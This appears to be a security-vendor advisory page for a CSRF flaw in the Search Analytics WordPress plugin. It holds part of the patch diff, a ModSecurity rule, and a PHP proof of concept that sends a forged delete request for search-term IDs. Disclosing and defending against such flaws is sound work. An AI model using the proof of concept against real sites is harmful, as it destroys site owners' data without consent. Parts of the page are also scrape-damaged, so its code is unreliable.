                                 <input name="mwtsa_erase_data" class="button-secondary" value="<?php esc_attr_e( 'Erase All Data', 'search-analytics' ) ?>" type="submit" onclick="return confirm( '<?php esc_attr_e( 'Are you sure you want to delete all data?nnClick `OK` to proceed.', 'search-analytics' ) ?>');"/><br/>
-                                <strong><?php esc_attr_e( 'Warning! Clicking this button will delete all historical search data', 'search-analytics' ) ?></strong>
+                                <strong><?php esc_html_e( 'Warning! Clicking this button will delete all historical search data', 'search-analytics' ) ?></strong>
                             </p>
                         </form>
                     </td>
                 </tr>
                 <tr>
-                    <th scope="row"><?php esc_attr_e( 'Delete data older than', 'search-analytics' ) ?></th>
+                    <th scope="row"><?php esc_html_e( 'Delete data older than', 'search-analytics' ) ?></th>
                     <td>
                         <form action="" method="post">
 							<?php wp_nonce_field( 'mwtsa-erase-data' ); ?>
                             <p class="submit">
+                                <!--suppress HtmlFormInputWithoutLabel -->
                                 <input type="number" name="mwtsa_data_older_than_days" value="90"/> <?php esc_attr_e( 'days', 'search-analytics' ) ?>  
                                 <input name="mwtsa_erase_old_data" class="button-secondary" value="<?php esc_attr_e( 'Erase Data', 'search-analytics' ) ?>" type="submit" onclick="return confirm( '<?php esc_attr_e( 'Are you sure you want to delete the selected data?nnClick `OK` to proceed.', 'search-analytics' ) ?>');"/>
                             </p>
@@ -459,12 +440,14 @@
 			<?php
 		}

-		function erase_history( $older_than = 0 ) {
-			global $wpdb, $mwtsa;
+        protected function erase_history( $older_than = 0 ) {
+			global $wpdb;
+
+            $instance = MWTSAI();

 			if ( $older_than == 0 ) {
-                $wpdb->query( "TRUNCATE `$mwtsa->history_table_name`" ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- $mwtsa->history_table_name is hardcoded.
-				$wpdb->query( "TRUNCATE `$mwtsa->terms_table_name`" ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- $mwtsa->terms_table_name is hardcoded.
+                $wpdb->query( "TRUNCATE `$instance->history_table_name`" ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, PluginCheck.Security.DirectDB.UnescapedDBParameter -- $instance->history_table_name is hardcoded.
+				$wpdb->query( "TRUNCATE `$instance->terms_table_name`" ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, PluginCheck.Security.DirectDB.UnescapedDBParameter -- $instance->terms_table_name is hardcoded.
 			} else {

 				try {
@@ -472,19 +455,22 @@
 					$_temp_date->sub( new DateInterval( 'P' . $older_than . 'D' ) );
 					$older_than_datetime = $_temp_date->format( 'Y-m-d H:i:s' );

-					$wpdb->query( $wpdb->prepare( "DELETE FROM `$mwtsa->history_table_name` WHERE `datetime` < %s", $older_than_datetime ) ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching,WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- $mwtsa->history_table_name is hardcoded.
+                    // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching,WordPress.DB.PreparedSQL.InterpolatedNotPrepared, PluginCheck.Security.DirectDB.UnescapedDBParameter -- $instance->history_table_name is hardcoded.
+					$wpdb->query( $wpdb->prepare( "DELETE FROM `$instance->history_table_name` WHERE `datetime` < %s", $older_than_datetime ) );

 					//TODO: delete recorded terms that no longer have at least 1 entry in the history table ?
 				} catch ( Exception $e ) {
 				}

 			}
+
+			wp_cache_set( 'last_changed', microtime(), 'mwtsa' );
 		}

-		function data_erased_notice() {
+		protected function data_erased_notice() {
 			?>
             <div class="notice updated mwtsa-notice is-dismissible">
-                <p><?php esc_attr_e( 'Historical data successfully erased!', 'search-analytics' ); ?></p>
+                <p><?php esc_html_e( 'Historical data successfully erased!', 'search-analytics' ); ?></p>
             </div>
 			<?php
 		}
@@ -492,4 +478,3 @@

 }

-return new MWTSA_Admin_Settings();
 No newline at end of file
--- a/search-analytics/admin/includes/class.stats-table.php
+++ b/search-analytics/admin/includes/class.stats-table.php
@@ -14,9 +14,12 @@

 		public function __construct( $args = array() ) {
 			parent::__construct( [
-				'title' => isset( $args['title'] ) ? esc_attr( $args['title'] ) : esc_attr__( 'Search Statistics', 'search-analytics' ),
-				'ajax'  => isset( $args['ajax'] ) && $args['ajax']
+				'title'    => isset( $args['title'] ) ? esc_attr( $args['title'] ) : esc_attr__( 'Search Statistics', 'search-analytics' ),
+				'ajax'     => isset( $args['ajax'] ) && $args['ajax'],
+				'plural'   => 'mwtsa-table-search-terms',
+				'singular' => 'mwtsa-table-search-term',
 			] );
+
 		}

 		public function display_search_box() {
@@ -24,7 +27,7 @@
 		}

 		public function get_this_screen() {
-			return 'search-analytics/admin/includes/class.stats.php';
+			return 'mwtsa-search-analytics';
 		}

 		public function display_tablenav( $which ) {
@@ -32,6 +35,8 @@
 				?>
                 <div class="tablenav mwtsa_tablenav <?php echo esc_attr( $which ); ?>">

+                    <?php wp_nonce_field( 'bulk-' . $this->_args['plural'] ); ?>
+
 					<?php if ( $this->has_items() && ! empty( $this->get_bulk_actions() ) ): ?>
                         <div class="alignleft actions bulkactions">
 							<?php $this->bulk_actions( $which ); ?>
@@ -104,16 +109,28 @@
 		}

 		/**
-		 * @deprecated deprecated since version 1.3.6. WIll be removed in version 2.0.0
+		 * Note: It uses the `'column_' . $column_name` within single_row_columns()
 		 */
 		public function column_term( $item ) {
 			$page    = isset( $_REQUEST['page'] ) ? sanitize_text_field( $_REQUEST['page'] ) : ''; //phpcs:ignore WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.MissingUnslash -- we actually need slashes here - for now
+
+            $delete_url = wp_nonce_url(
+                add_query_arg(
+                    array( 'page' => $page, 'action' => 'delete', 'search-term' => (int) $item['id'] ),
+                    admin_url( 'admin.php' )
+                ),
+                'mwtsa_delete_term_' . (int) $item['id']
+            );
+
+            $view_url = $this->get_view_url($page, $item['id']);
+
 			$actions = array(
-				'delete' => sprintf( '<a href="?page=%s&action=%s&search-term=%d">' . esc_attr__( 'Delete', 'search-analytics' ) . '</a>', esc_attr( $page ), 'delete', (int) $item['id'] ),
-				'view'   => sprintf( '<a href="?page=%s&search-term=%d">' . esc_attr__( 'View Details', 'search-analytics' ) . '</a>', esc_attr( $page ), (int) $item['id'] )
+				'delete' => '<a href="' . esc_url( $delete_url ) . '">' . esc_attr__( 'Delete', 'search-analytics' ) . '</a>',
+				'view'   => '<a href="' . esc_url( $view_url ) . '">' . esc_attr__( 'View Details', 'search-analytics' ) . '</a>'
 			);

-			return sprintf( '<a href="?page=%1$s&search-term=%2$d">%3$s</a> %4$s', esc_attr( $page ), (int) $item['id'], esc_attr( $item['term'] ), $this->row_actions( $actions ) );
+            /** @noinspection HtmlUnknownTarget */
+            return sprintf( '<a href="%1$s">%2$s</a> %3$s', esc_url( $view_url ), esc_attr( $item['term'] ), $this->row_actions( $actions ) );
 		}

 		public function column_cb( $item ) {
@@ -128,50 +145,68 @@
 			);
 		}

-		// phpcs:disable WordPress.Security.NonceVerification.Recommended
+        protected function get_view_url($page, $item_id) {
+            return add_query_arg(
+                array( 'page' => $page, 'search-term' => $item_id ),
+                admin_url( 'admin.php' )
+            );
+        }
+
 		function process_bulk_action() {
-			global $wpdb, $mwtsa;
+			global $wpdb;

-			if ( 'delete' === $this->current_action() && ! empty( $_GET['search-term'] ) ) {
+            if ( 'delete' !== $this->current_action() || empty( $_GET['search-term'] ) ) {
+                return;
+            }
+
+            if ( ! current_user_can( 'manage_options' ) ) {
+                wp_die( esc_html__( 'You are not allowed to delete search terms.', 'search-analytics' ), 403 );
+            }
+
+            if ( is_array( $_GET['search-term'] ) ) {
+                check_admin_referer( 'bulk-' . $this->_args['plural'] );
+            } else {
+                check_admin_referer( 'mwtsa_delete_term_' . (int) $_GET['search-term'] );
+            }
+
+            $terms_to_delete    = array_map( 'absint', (array) $_GET['search-term'] );
+            $terms_placeholders = implode( ',', array_fill( 0, count( $terms_to_delete ), '%d' ) );
+
+            $instance = MWTSAI();
+
+            // phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching,WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare,PluginCheck.Security.DirectDB.UnescapedDBParameter -- table names are hardcoded.
+            $wpdb->query(
+                $wpdb->prepare(
+                    "DELETE FROM $instance->terms_table_name WHERE id IN ($terms_placeholders)",
+                    $terms_to_delete
+                )
+            );
+
+            $wpdb->query(
+                $wpdb->prepare(
+                    "DELETE FROM $instance->history_table_name WHERE term_id IN ($terms_placeholders)",
+                    $terms_to_delete
+                )
+            );
+            // phpcs:enable WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching,WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare,PluginCheck.Security.DirectDB.UnescapedDBParameter

-				$terms_to_delete    = array_map( 'absint', (array) $_GET['search-term'] );
-				$terms_placeholders = implode( ',', array_fill( 0, count( $terms_to_delete ), '%d' ) );
+            wp_cache_set( 'last_changed', microtime(), 'mwtsa' );

-				$wpdb->query( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching
-					$wpdb->prepare(
-						"DELETE FROM $mwtsa->terms_table_name WHERE id IN ($terms_placeholders)", // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare
-						$terms_to_delete
-					)
-				);
-				$wpdb->query( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching
-					$wpdb->prepare(
-						"DELETE FROM $mwtsa->history_table_name WHERE term_id IN ($terms_placeholders)", // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare
-						$terms_to_delete
-					)
-				);
-
-				wp_die(
-					sprintf( '%s <a href="%s">%s</a>',
-						esc_attr__( 'Items deleted!', 'search-analytics' ),
-						esc_url( add_query_arg( 'result', 'deleted', remove_query_arg( array(
-							'action',
-							'search-term'
-						) ) ) ),
-						esc_attr__( 'Go Back!', 'search-analytics' )
-					)
-				);
-			}
+            wp_safe_redirect( add_query_arg( 'result', 'deleted', remove_query_arg( array( 'action', 'search-term' ) ) ) );

+            exit;
 		}
-		// phpcs:enable WordPress.Security.NonceVerification.Recommended

 		public function column_default( $item, $column_name ) {
-			$output = esc_attr__( 'N/A Yet', 'search-analytics' );
+			$output = esc_html__( 'N/A Yet', 'search-analytics' );

 			switch ( $column_name ) {
 				case 'term':
 					$page   = isset( $_REQUEST['page'] ) ? sanitize_text_field( $_REQUEST['page'] ) : ''; //phpcs:ignore WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.MissingUnslash -- we actually need slashes here - for now
-					$output = sprintf( '<a href="?page=%s&search-term=%s">%s</a>', esc_attr( $page ), (int) $item['id'], esc_attr( $item['term'] ) );
+                    $view_url = $this->get_view_url($page, $item['id']);
+
+                    /** @noinspection HtmlUnknownTarget */
+                    $output = sprintf( '<a href="%1$s">%2$s</a>', esc_url( $view_url ), esc_attr( $item['term'] ) );
 					break;
 				case 'searches':
 					$output = (int) $item['count'];
@@ -180,14 +215,14 @@
 					$output = number_format( (float) $item['results_count'], 2, '.', '' );
 					break;
 				case 'last_search_date_utc':
-					$output = date_i18n( get_option( 'date_format' ) . ' ' . get_option( 'time_format' ), strtotime( $item['last_search_date'] ) );
+					$output = esc_html( date_i18n( get_option( 'date_format' ) . ' ' . get_option( 'time_format' ), strtotime( $item['last_search_date'] ) ) );
 					break;
 				case 'last_search_date':
-					$output = date_i18n( get_option( 'date_format' ) . ' ' . get_option( 'time_format' ), strtotime( $item['last_search_date'] ) + wp_timezone()->getOffset( new DateTime( $item['last_search_date'] ) ) );
+					$output = esc_html( date_i18n( get_option( 'date_format' ) . ' ' . get_option( 'time_format' ), strtotime( $item['last_search_date'] ) + mwtsa_wp_timezone()->getOffset( new DateTime( $item['last_search_date'] ) ) ) );
 					break;
 				case 'country':
 					if ( empty( $item['country'] ) ) {
-						$output = esc_attr__( 'N/A', 'search-analytics' );
+					$output = esc_html__( 'N/A', 'search-analytics' );

 						break;
 					}
@@ -201,12 +236,12 @@
 						$country_name = strtoupper( $item_country );
 					}

-					$output = '<div><img src="' . MWTSAI()->plugin_admin_url . 'assets/images/flags/' . $item_country . '.png" alt="' . $country_name . '" /> <span>' . ucwords( $country_name ) . '</span></div>';
+					$output = '<div><img src="' . esc_url( MWTSAI()->plugin_admin_url . 'assets/images/flags/' . $item_country . '.png' ) . '" alt="' . esc_attr( $country_name ) . '" /> <span>' . esc_html( ucwords( $country_name ) ) . '</span></div>';

 					break;
 				case 'user':
 					if ( empty( $item['user_id'] ) ) {
-						$output = esc_attr__( 'N/A', 'search-analytics' );
+						$output = esc_html__( 'N/A', 'search-analytics' );

 						break;
 					}
@@ -214,11 +249,11 @@
 					$user_data = get_userdata( (int) $item['user_id'] );

 					if ( ! $user_data ) {
-						$output = esc_attr__( 'N/A', 'search-analytics' );
+						$output = esc_html__( 'N/A', 'search-analytics' );
 						break;
 					}

-					$output = '<a href="' . get_edit_user_link( $user_data->ID ) . '">' . esc_attr( $user_data->user_nicename ) . '</a>';
+					$output = '<a href="' . esc_url( get_edit_user_link( $user_data->ID ) ) . '">' . esc_attr( $user_data->user_nicename ) . '</a>';
 					break;
 			}

@@ -325,8 +360,10 @@
 			ob_start();
 			?>
             <div class="date-interval">
+                <!--suppress HtmlFormInputWithoutLabel -->
                 <input type="text" name="date_from" class="date-picker field-from" placeholder="<?php esc_attr_e( 'Start Date', 'search-analytics' ) ?>" value="<?php echo esc_attr( $date_from ) ?>">
                 <span class="dashicons dashicons-minus"></span>
+                <!--suppress HtmlFormInputWithoutLabel -->
                 <input type="text" name="date_to" class="date-picker field-to" placeholder="<?php esc_attr_e( 'End Date', 'search-analytics' ) ?>" value="<?php echo esc_attr( $date_to ) ?>">
             </div>
 			<?php
@@ -335,12 +372,15 @@
 		}

 		function filter_user() {
-			global $wpdb, $mwtsa;
+			global $wpdb;
 			wp_enqueue_style( 'select2css' );

 			$selected_user = isset( $_REQUEST['filter-user'] ) ? (int) $_REQUEST['filter-user'] : 0; // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+            $instance = MWTSAI();

-			$users_with_searches = $wpdb->get_results( "SELECT `ID`, `user_nicename` FROM $wpdb->users WHERE `ID` IN ( SELECT DISTINCT(`user_id`) FROM {$mwtsa->history_table_name})" );  // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching,WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+			// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching,WordPress.DB.PreparedSQL.InterpolatedNotPrepared,PluginCheck.Security.DirectDB.UnescapedDBParameter -- $instance->history_table_name and $wpdb->users are hardcoded.
+			$users_with_searches = $wpdb->get_results( "SELECT `ID`, `user_nicename` FROM $wpdb->users WHERE `ID` IN ( SELECT DISTINCT(`user_id`) FROM {$instance->history_table_name})" );
+			// phpcs:enable WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching,WordPress.DB.PreparedSQL.InterpolatedNotPrepared,PluginCheck.Security.DirectDB.UnescapedDBParameter

 			if ( empty( $users_with_searches ) ) {
 				return '';
@@ -349,16 +389,21 @@
 			ob_start();
 			?>
             <select class="select2-select" name="filter-user">
-                <option value=""><?php esc_attr_e( 'Filter by user ...', 'search-analytics' ) ?></option>
+                <option value=""><?php esc_html_e( 'Filter by user ...', 'search-analytics' ) ?></option>
 				<?php foreach ( $users_with_searches as $user ) :
-					printf( "<option value='%d' %s>%s</option>", (int) $user->ID, selected( (int) $user->ID, $selected_user, false ), esc_attr( $user->user_nicename ) );
+					/** @noinspection HtmlUnknownAttribute */
+                    printf( "<option value='%d' %s>%s</option>", (int) $user->ID, selected( (int) $user->ID, $selected_user, false ), esc_attr( $user->user_nicename ) );
 				endforeach; ?>
             </select>
 			<?php
 			return ob_get_clean();
 		}

-		public function display_time_views() {
+        /**
+         * @noinspection HtmlUnknownTarget
+         * @noinspection HtmlUnknownAttribute
+         */
+        public function display_time_views() {
 			$views   = [];
 			$current = isset( $_REQUEST['period_view'] ) ? (int) $_REQUEST['period_view'] : 3; // phpcs:ignore WordPress.Security.NonceVerification.Recommended

@@ -381,6 +426,10 @@
 			$this->format_views_list( $views );
 		}

+        /**
+         * @noinspection HtmlUnknownTarget
+         * @noinspection HtmlUnknownAttribute
+         */
 		public function display_results_views() {
 			$views   = array();
 			$current = ! empty( $_REQUEST['results_view'] ) ? (int) $_REQUEST['results_view'] : 0; // phpcs:ignore WordPress.Security.NonceVerification.Recommended
@@ -400,6 +449,10 @@
 			$this->format_views_list( $views );
 		}

+        /**
+         * @noinspection HtmlUnknownTarget
+         * @noinspection HtmlUnknownAttribute
+         */
 		public function display_results_grouping() {
 			$views   = array();
 			$current = ! empty( $_REQUEST['grouped_view'] ) ? (int) $_REQUEST['grouped_view'] : 0; // phpcs:ignore WordPress.Security.NonceVerification.Recommended
@@ -435,10 +488,46 @@
 			if ( isset( $_GET['result'] ) && $_GET['result'] === 'deleted' ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
 				?>
                 <div class="notice updated mwtsa-notice is-dismissible">
-                    <p><?php esc_attr_e( 'Search term(s) successfully deleted', 'search-analytics' ); ?></p>
+                    <p><?php esc_html_e( 'Search term(s) successfully deleted', 'search-analytics' ); ?></p>
                 </div>
 				<?php
 			}
 		}
+
+        public function mwtsa_init() {
+
+            if ( ! isset( $_REQUEST['mwtsa-export-csv'] ) ) {
+                return;
+            }
+
+            if ( ! current_user_can( 'manage_options' ) ) {
+                wp_die( esc_html__( 'You are not allowed to export data.', 'search-analytics' ), 403 );
+            }
+
+            check_admin_referer( 'bulk-' . $this->_args['plural'] );
+
+            $columns = array(
+                    esc_attr__( 'Term ID', 'search-analytics' ),
+                    esc_attr__( 'Term', 'search-analytics' ),
+                    esc_attr__( 'Searches', 'search-analytics' ),
+                    esc_attr__( 'Average Results', 'search-analytics' ),
+                    esc_attr__( 'Last Search Date', 'search-analytics' )
+            );
+
+            if ( ! empty( $_REQUEST['search-term'] ) ) {
+                $columns = array(
+                        esc_attr__( 'Average Results', 'search-analytics' ),
+                        esc_attr__( 'Date and Time', 'search-analytics' )
+                );
+
+                if ( ! empty( $_REQUEST['grouped_view'] ) ) {
+                    $columns[] = esc_attr__( 'Searches', 'search-analytics' );
+                }
+            }
+
+            $export_csv = new MWTSA_Export_CSV();
+            $export_csv->mwtsa_export_to_csv( ( new MWTSA_History_Data )->get_terms_history_data(), '', $columns );
+
+        }
 	}
 endif;
 No newline at end of file
--- a/search-analytics/admin/includes/class.stats.php
+++ b/search-analytics/admin/includes/class.stats.php
@@ -11,19 +11,23 @@

 		private $view;
 		private $charts;
+        /**
+         * @var bool
+         */
+        private $is_delete;
+        /**
+         * @var MWTSA_Stats_Table|MWTSA_Term_Stats_Table
+         */
+        private $stats_table;

-		public function __construct() {
+        public function __construct() {

-			$this->view = 'dashboard_page_search-analytics/admin/includes/class.stats';
+			$this->view = '';
 			$this->set_constants();
 			$this->plugin_options = MWTSA_Options::get_options();

-			add_action( 'init', array( $this, 'mwtsa_init' ) );
-
-			add_action( 'admin_menu', array( $this, 'add_admin_menu' ) );
 			add_action( 'admin_enqueue_scripts', array( $this, 'load_admin_assets' ) );

-			add_action( "load-$this->view", array( $this, 'add_screen_options' ) );
 			add_filter( 'set-screen-option', array( $this, 'set_screen_options' ), 10, 3 );

 			if ( empty( $_REQUEST['search-term'] ) && empty ( MWTSA_Options::get_option( 'mwtsa_hide_charts' ) ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
@@ -34,31 +38,10 @@
 			include_once( 'class.term-stats.php' );
 		}

-		public function mwtsa_init() {
-
-			if ( isset( $_REQUEST['mwtsa-export-csv'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
-				$columns = array(
-					esc_attr__( 'Term ID', 'search-analytics' ),
-					esc_attr__( 'Term', 'search-analytics' ),
-					esc_attr__( 'Searches', 'search-analytics' ),
-					esc_attr__( 'Average Results', 'search-analytics' ),
-					esc_attr__( 'Last Search Date', 'search-analytics' )
-				);
-
-				if ( ! empty( $_REQUEST['search-term'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
-					$columns = array(
-						esc_attr__( 'Average Results', 'search-analytics' ),
-						esc_attr__( 'Date and Time', 'search-analytics' )
-					);
-
-					if ( ! empty( $_REQUEST['grouped_view'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
-						$columns[] = esc_attr__( 'Searches', 'search-analytics' );
-					}
-				}
-
-				$export_csv = new MWTSA_Export_CSV();
-				$export_csv->mwtsa_export_to_csv( ( new MWTSA_History_Data )->get_terms_history_data(), '', $columns );
-			}
+		public function init_stats_table() {
+			$this->is_delete   = ! empty( $_REQUEST['action'] ) && 'delete' === $_REQUEST['action']; // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+			$this->stats_table = ! empty( $_REQUEST['search-term'] ) && ! $this->is_delete ? new MWTSA_Term_Stats_Table( array( 'search-term' => (int) $_REQUEST['search-term'] ) ) : new MWTSA_Stats_Table(); // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+			$this->stats_table->mwtsa_init();
 		}

 		public function add_screen_options() {
@@ -89,89 +72,71 @@
 			);
 		}

-		public function add_admin_menu() {
-			$this_user_role      = mwt_get_current_user_roles();
-			$accepted_user_roles = array_values( array_intersect( $this_user_role, $this->plugin_options['mwtsa_display_stats_for_role'] ) );
-
-			if ( ! isset( $this->plugin_options['mwtsa_display_stats_for_role'] ) || ! empty( $accepted_user_roles ) ) {
-
-                //TODO: change __FILE__ to unique slug - https://docs.wpvip.com/php_codesniffer/warnings/#h-using-file-for-page-registration
-				add_submenu_page( 'index.php', __( 'Search Analytics', 'search-analytics' ), __( 'Search Analytics', 'search-analytics' ), $accepted_user_roles[0], __FILE__, array(
-					&$this,
-					'render_stats_page'
-				) );
-
-			}
+		public function set_view( $view ) {
+			$this->view = $view;
 		}

 		public function load_admin_assets( $hook ) {
-			global $mwtsa;
-
-			wp_enqueue_style( 'mwtsa-stats-style', $mwtsa->plugin_admin_url . 'assets/css/stats-style.css', array(), $mwtsa->version );
+			wp_enqueue_style( 'mwtsa-stats-style', MWTSAI()->plugin_admin_url . 'assets/css/stats-style.css', array(), MWTSAI()->version );

 			if ( $hook != $this->view ) {
 				return;
 			}

 			if ( ! empty( MWTSA_Options::get_option( 'mwtsa_save_search_by_user' ) ) ) {
-				wp_register_style( 'select2css', '//cdnjs.cloudflare.com/ajax/libs/select2/4.0.13/css/select2.min.css', false, '4.0.13' );
+				wp_register_style( 'select2css', MWTSAI()->plugin_admin_url . 'assets/css/select2.min.css', false, '4.0.13' );

-				wp_enqueue_script( 'select2', '//cdnjs.cloudflare.com/ajax/libs/select2/4.0.13/js/select2.min.js', array( 'jquery' ), '4.0.13', true );
+				wp_enqueue_script( 'select2', MWTSAI()->plugin_admin_url . 'assets/js/select2.min.js', array( 'jquery' ), '4.0.13', true );
 			}

-			wp_register_style( 'mwtsa-datepicker-ui', '//code.jquery.com/ui/1.11.2/themes/smoothness/jquery-ui.css', array(), '1.11.2' );
+			wp_register_style( 'mwtsa-datepicker-ui', MWTSAI()->plugin_admin_url . 'assets/css/jquery-ui-smoothness.css', array(), '1.14.2' );

-			wp_enqueue_script( 'mwtsa-admin-script', $mwtsa->plugin_admin_url . 'assets/js/admin.js', array(), $mwtsa->version, true );
+			wp_enqueue_script( 'mwtsa-admin-script', MWTSAI()->plugin_admin_url . 'assets/js/admin.js', array(), MWTSAI()->version, true );

 			wp_localize_script( 'mwtsa-admin-script', 'mwtsa_admin_obj', array(
-					'gmt_offset'  => wp_timezone()->getOffset( new DateTime() ),
-					'date_format' => mwt_wp_date_format_to_js_datepicker_format( get_option( 'date_format' ) )
+					'gmt_offset'  => mwtsa_wp_timezone()->getOffset( new DateTime() ),
+					'date_format' => mwtsa_wp_date_format_to_js_datepicker_format( get_option( 'date_format' ) )
 				)
 			);
 		}

 		// phpcs:disable WordPress.Security.NonceVerification.Recommended
 		public function render_stats_page() {
-			global $mwtsa;
-
-			$is_delete   = ! empty( $_REQUEST['action'] ) && 'delete' === $_REQUEST['action'];
-			$stats_table = ! empty( $_REQUEST['search-term'] ) && ! $is_delete ? new MWTSA_Term_Stats_Table( array( 'search-term' => (int) $_REQUEST['search-term'] ) ) : new MWTSA_Stats_Table();
-
 			?>
             <div class="wrap mwtsa-wrapper">
                 <div class="mwtsa-2-col">
                     <div class="mwtsa-col-1">
                         <div class="col-content">
-							<?php $stats_table->load_notices(); ?>
-							<?php echo $stats_table->this_title();  // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- already escaped ?>
-							<?php if ( ! $is_delete ) : ?>
+							<?php $this->stats_table->load_notices(); ?>
+							<?php echo $this->stats_table->this_title();  // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- already escaped ?>
+							<?php if ( ! $this->is_delete ) : ?>
                                 <div class="mwtsa-filters-groups-wrapper">
                                     <div>
                                         <span class="views-label"><?php esc_html_e( 'Time filters:', 'search-analytics' ) ?></span>
-										<?php $stats_table->display_time_views(); ?>
+										<?php $this->stats_table->display_time_views(); ?>
                                     </div>
                                     <div>
                                         <span class="views-label"><?php esc_html_e( 'Results filters:', 'search-analytics' ) ?></span>
-										<?php $stats_table->display_results_views(); ?>
+										<?php $this->stats_table->display_results_views(); ?>
                                     </div>

 									<?php if ( ! empty( $_REQUEST['search-term'] ) ) :?>
                                         <div>
                                             <span class="views-label"><?php esc_html_e( 'Group By:', 'search-analytics' ) ?></span>
-											<?php $stats_table->display_group_views(); ?>
+											<?php $this->stats_table->display_group_views(); ?>
                                         </div>
 									<?php else : ?>
                                         <div>
                                             <span class=

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-7444
# This rule targets the CSRF exploit on the search analytics admin page, blocking requests to the stats page that attempt to perform a bulk delete without a valid nonce.
SecRule REQUEST_URI "@streq /wp-admin/admin.php" "id:20261994,phase:1,deny,status:403,chain,msg:'CVE-2026-7444 via Search Analytics bulk action',severity:'CRITICAL',tag:'CVE-2026-7444'"
  SecRule ARGS:page "@streq mwtsa-search-analytics" "chain"
    SecRule REQUEST_METHOD "@streq GET" "chain"
      SecRule ARGS:action "@streq delete" "chain"
        SecRule ARGS:search-term "@rx ^d+(,d+)*$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-7444 - Search Analytics for WP <= 1.4.16 - Cross-Site Request Forgery

$target_url = 'http://example.com/wp-admin/admin.php?page=mwtsa-search-analytics'; // Set the target WordPress admin URL

// Craft the CSRF payload that would be sent when the admin clicks a malicious link.
// The vulnerable `process_bulk_action()` function lacks nonce validation.
$params = array(
    'page'       => 'mwtsa-search-analytics',
    'action'     => 'delete', // The bulk action to perform
    'search-term' => '1,2,3', // IDs of search terms to delete
);

$attack_url = $target_url . '&' . http_build_query($params);

// Use cURL to simulate the forged GET request.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $attack_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Note: In a real attack, the admin's session cookies would be automatically sent by the browser.
// This PoC demonstrates the request structure; replace with appropriate session handling for testing.

$response = curl_exec($ch);
curl_close($ch);

// Output the response (or error) for debugging
if ($response === false) {
    echo 'cURL error: ' . curl_error($ch);
} else {
    echo 'Request sent. Check if the search terms were deleted.';
}

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
